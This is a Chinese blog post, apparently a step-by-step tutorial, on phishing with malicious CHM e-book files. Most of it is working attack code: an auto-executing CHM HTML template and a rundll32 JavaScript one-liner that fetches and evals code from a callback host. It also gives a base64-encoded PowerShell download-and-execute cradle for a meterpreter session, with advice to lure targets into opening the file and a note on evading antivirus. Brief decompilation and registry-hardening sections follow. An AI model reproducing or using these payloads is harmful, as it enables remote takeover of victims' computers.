钓鱼攻击之:CHM电子书钓鱼

1 CHM简介

  • CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。因为使用方容便,形式多样也常被采用作为电子书的格式。而该类型的文件是可以用Windows自带的hh.exe文件来进行打开。

  • CHM支持JavaScript, VBScript, ActiveX, Java Applet, Flash, 常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持,并可以通过 URL 与 Internet 联系在一起。

  • 因为使用方便,形式多样,也被采用作为电子书的格式。

2 .Chm文件因何变得危险

  • .Chm文件格式是HTML文件格式的扩展,它本来是一种用于给软件应用程序作用户手册的特殊文本格式。简单来说,HTML文件格式被压缩和重整以后,就被制成了这种二进制的.Chm扩展文件格式。通常,.Chm文件格式由压缩的HTML文件、图像、Javascript这些文件组合而成,同时,它可能还带有超链接目录、索引以及全文检索功能。

  • 这些.Chm文件有着较多的用户交互,并且采用了一系列的技术。其中包含的Javascript代码自不用多说,它可以在你打开.Chm文件时,直接重定向到一个外部链接。也就是说,用户只要打开一次这类文件,里面包含的恶意代码就可能主动运行。这似乎给人一种感觉,即用户交互更少的时候,感染的机会反而更大。

3 CHM 后门的优点

  • 因为电子书一般是在本地电脑域打开的,因此它所获得的权限也是本地电脑域的权限,所以比起网页木马的Internet域来,让木马获得执行的机会要简单的多,“不必使用漏洞”就可以执行!(Windows 2003除外,原因下面会说到)。
  • 现在的网页木马由于影响力太大,一般的人上网都会小心三分提防的,且它依赖与漏洞,所以生存的空间正在逐渐缩小。与此相反的是电子书的火爆下载,使得电子书木马的传播能力、生存能力以及范围大大加强!
  • 免网站维护,低成本

4 利用过程

4.1 准备工具

  1. Payload项目地址,基于Python2编写的Ridter/MyJSRat: This is JSRat.ps1 in Python (github.com)

  2. Easy CHM下载地址:Easy CHM下载 Easy CHM(chm制作工具) 3.93 -脚本之家 (jb51.net)

  3. 恶意chm模板:evil.html

    <!DOCTYPE html><html><head><title>忍不住点击的标题</title><head></head><body>
    command exec
    <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
    <PARAM name="Command" value="ShortCut">
    <PARAM name="Button" value="Bitmap::shortcut">
    <PARAM name="Item1" value='执行程序,Payload命令'>
    <PARAM name="Item2" value="273,1,1">
    </OBJECT>
    <SCRIPT>
    x.Click();
    </SCRIPT>
    </body></html>
    • 注:执行程序,Payload命令之间有个逗号,替换时不能少。

4.2 制作恶意chm文件

  1. 生成恶意Payload,进入下载的Payload项目目录,执行以下命令:

    # python2.7 MyJSRat.py -i 192.168.50.2 -p 4444
    # 显示以下内容为正常运行
    JSRat Server
    By: Evi1cg
    [*] Using interactive method! [*] Web Server Started on Port: 4444
    [*] Awaiting Client Connection to: http://192.168.50.2:4444/connect
    [*] Client Command at: http://192.168.50.2:4444/wtf
    [*] Browser Hook Set at: http://192.168.50.2:4444/hook [-] Hit CTRL+C to Stop the Server at any time...
    • http://192.168.50.2:4444/connect:默认回连地址
    • http://192.168.50.2:4444/wtf:访问此链接获取客户端执行代码
    • http://192.168.50.2:4444/hook:浏览器hook链接,适用于某些版本的IE
  2. 访问http://192.168.50.2:4444/wtf链接获取客户端执行代码

    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.50.2:4444/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
  3. 将生成的客户端执行代码,添加进恶意chm模板中:evil.html

    <!DOCTYPE html><html><head><title>说明书</title><head></head><body> <br>
    <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
    height=1>
    <PARAM name="Command" value="ShortCut">
    <PARAM name="Button" value="Bitmap::shortcut">
    <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.50.2:4444/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
    <PARAM name="Item2" value="273,1,1">
    </OBJECT>
    <SCRIPT>
    x.Click();
    </SCRIPT>
    </body></html>
  4. 使用Easy CHM软件,将evil.html打包成chm文件

  5. 诱使目标点开该文档,即可上线

  6. 使用火绒查杀试了下可以免杀,但会被windows Defender查杀

    4.3 高级利用

    当获取客户端JS 交互shell之后自动执行powershell命令,获取meterpreter会话。

    1. 开启use exploit/multi/script/web_delivery,得到Payload如下:

      powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.50.2:8081/');
    2. 由于存在特殊字符,我们需要将代码编码为base64格式:

      1. 将以下代码存入tmp.txt

        $n=new-object net.webclient;
        $n.proxy=[Net.WebRequest]::GetSystemWebProxy();
        $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
        IEX $n.downloadstring('http://192.168.50.2:8081/');
      2. 编码为Base64:

        # cat tmp.txt | iconv --to-code UTF-16LE | base64
        JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
        ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
        ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
        AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
        YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
        AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
        MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA=
    3. 构造成最终执行的powershell命令为:

      powershell -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
      ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
      ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
      AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
      YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
      AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
      MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA=
    4. 使用执行命令模式直接获取meterpreter会话:

      python MyJSRat.py -i 192.168.50.2 -p 4444 -c "powershell -ep bypass -enc JABuAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAK
      ACQAbgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcA
      ZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAbgAuAFAAcgBvAHgAeQAu
      AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMA
      YQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBF
      AFgAIAAkAG4ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A
      MQA5ADIALgAxADYAOAAuADUAMAAuADIAOgA4ADAAOAAxAC8AJwApADsACgA="

5 溯源

chm是可以反编译为html的。使用windows自带的hh.exe 则可进行反编译。命令如下:

hh -decompile test *.chm
# test 为当前目录的test文件夹

6 预防

  • 修改本地安全属性,使其无法在本地电脑域环境中运行木马程序,相应的注册表键值为:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0下的1004项的值由原来的0改为十六进制的3

  • 如果你想详细修改本地电脑域的安全属性,可以把此同分支下的Flags项的值由原来的十六进制21改为0,再打开IE浏览器“Internet 选项...”中的的“安全”标签,是不是多了一个“我的电脑”图标,便可以改改它的安全级别

7 参考

写完发现已经有大佬详细分析了:高级组合技打造“完美” 捆绑后门 | Evi1cg's blog

钓鱼攻击之:CHM电子书钓鱼的更多相关文章

  1. 支付SDK的安全问题——隐式意图可导致钓鱼攻击

     该漏洞涉及到app所使用的intent和intent filter. intent是一个可用于从一个app组件请求动作或处理事件的“消息对象”.Intent负责对应用中一次操作的动作.动作涉及数据. ...

  2. pikachu练习平台(XSS-漏洞测试案例(cookie的窃取和利用、钓鱼攻击、XSS获取键盘记录))

    XSS-漏洞测试案例 xss案例 1.cookie的窃取和利用 2.钓鱼攻击 3.XSS获取键盘记录 在进行案例之前首先要搭建xss后台 搭建xss后台 1.在pikachu文件夹下面,把pkxss单 ...

  3. CobaltStrike 生成office宏病毒进行钓鱼攻击

    关于WORD宏: 在百度百科上有: 宏是一个批量处理程序命令,正确地运用它可以提高工作效率.微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力.如完打开word文 ...

  4. 风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击

    风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击 XSS钓鱼攻击 HTTP Basic Authentication认证 大家在登录网站的时候,大部分时候是通过一个表单提交登录信息. 但是有时候 ...

  5. 钓鱼攻击之远程加载恶意Word模版文件上线CS

    0x00 前言 利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码.这里 ...

  6. DNS欺骗:网站克隆实现网站钓鱼攻击

    1 DNS 1.1 DNS是什么? 域名系统(Domain Name System)是互联网使用的命名系统,用来将主机域名转换为 ip 地址,属于应用层协议,使用 UDP 传输. 1.2 为什么需要D ...

  7. EasyCHM(CHM电子书制作工具) v3.84.545 绿色版

    软件名称:EasyCHM(CHM电子书制作工具) v3.84.545 绿色版 软件语言: 简体中文 授权方式: 免费软件 运行环境: Win 32位/64位 软件大小: 2.78MB 图片预览: 软件 ...

  8. 如何自己制作CHM电子书?

    软件介绍: EasyCHM 非常适合个人和单位制作高压缩比的有目录.索引,同时具有全文检索及高亮显示搜索结果的网页集锦.CHM格式的帮助文件.专业的产品说明书.公司介绍.文章集锦.CHM电子书等等. ...

  9. 无线安全: 通过伪AP进行DHCP+DNS劫持的钓鱼攻击

    有了之前学习802.11的数据帧格式.芯片硬件参数学习的基础后,我们接下来继续学习无线安全中黑客是怎样进行流量劫持攻击的 相关学习资料 http://www.freebuf.com/articles/ ...

  10. 使用Wifi pineapple(菠萝派)进行Wi-Fi钓鱼攻击

    简介: WiFi Pineapple 是由国外无线安全审计公司Hak5开发并售卖的一款无线安全测试神器. 特性: 用作 Wi-Fi 中间人攻击测试平台 一整套的针对 AP 的渗透测试套件 基于 WEB ...

随机推荐

  1. 2.9:数据交换-csv、Excel、json、爬虫、Tushare获取数据

    〇.任务 1. 使用Python基础文件读写函数完成CSV文件的处理: 2. 使用标准CSV库完成CSV文件的处理: 3. 使用Excel库完成Excel文件的处理: 4. Python数据结构和Js ...

  2. TypeError: Object(…) is not a function

    vue中遇到的这个错误 1. 先检查变量名或者函数名是否有重复定义 报这错之后看了好久,也没有发现starkflow上说的,重复定义了变量或者函数 2. vue的话 检查下函数写的位置,直接写到cre ...

  3. 01-复杂度2 Maximum Subsequence Sum (25分)

    Sample Input: 10 -10 1 2 3 4 -5 -23 3 7 -21 Sample Output: 10 1 4 题目有一个测试点是"最大和前面有一段是0",所以 ...

  4. 前端内容(HTML CSS javaScript)

    前端内容 前端基础之HTML 前端基础之HTML HTML标签使用 HTML之form表单 前端基础之CSS 前端基础之CSS CSS字体颜色 背景 盒子模型 CSS浮动 溢出 头像框 CSS定位 i ...

  5. MySQL可视化软件(Navicat)部署与使用

    目录 一:可视化软件(Navicat) 1.什么是可视化软件? 2.什么是Navicat? 二:部署MySQL(Navicat) 1.Navicat连接本地MySQL 2.连接MySQL,输入密码,在 ...

  6. uniapp开发微信小程序

    uni-app介绍(官网) uni-app是一个使用Vue.js 开发所有前端应用的框架,开发者编写一套代码,可发布到iOS.Android.H5.以及各种小程序(微信/支付宝/百度/头条/QQ/钉钉 ...

  7. P3Depth: Monocular Depth Estimation with a Piecewise Planarity Prior

    1. 论文简介 论文题目:P3Depth: Monocular Depth Estimation with a Piecewise Planarity Prior Paper地址:paper Code ...

  8. 能将三次握手讲到这个程度,不给你offer给谁!

    摘要:在后端相关岗位的入职面试中,三次握手的出场频率非常的高,甚至说它是必考题也不为过. 本文分享自华为云社区<能将三次握手理解到这个深度,面试官拍案叫绝~>,作者:龙哥手记. 在后端相关 ...

  9. xpath解析数据的方法

    1 功能描述 2 1.实例化一个etree对象,且需要将被解析的页面源码数据加载到该对象中 3 2.调用etree对象中的XPath表达式实现标签的定位和内容捕获 4 3.环境安装 pip insta ...

  10. ffmpeg第8篇:使用ffprobe采集文件信息

    1. 前言 ffprobe是ffmpeg的其中一个模块,主要用于查看文件信息,咱们知道一个MP4文件其实不仅仅包含了音视频数据,还有如元数据等其它信息,但是实际上咱们关心的往往是音视频数据部分,今天来 ...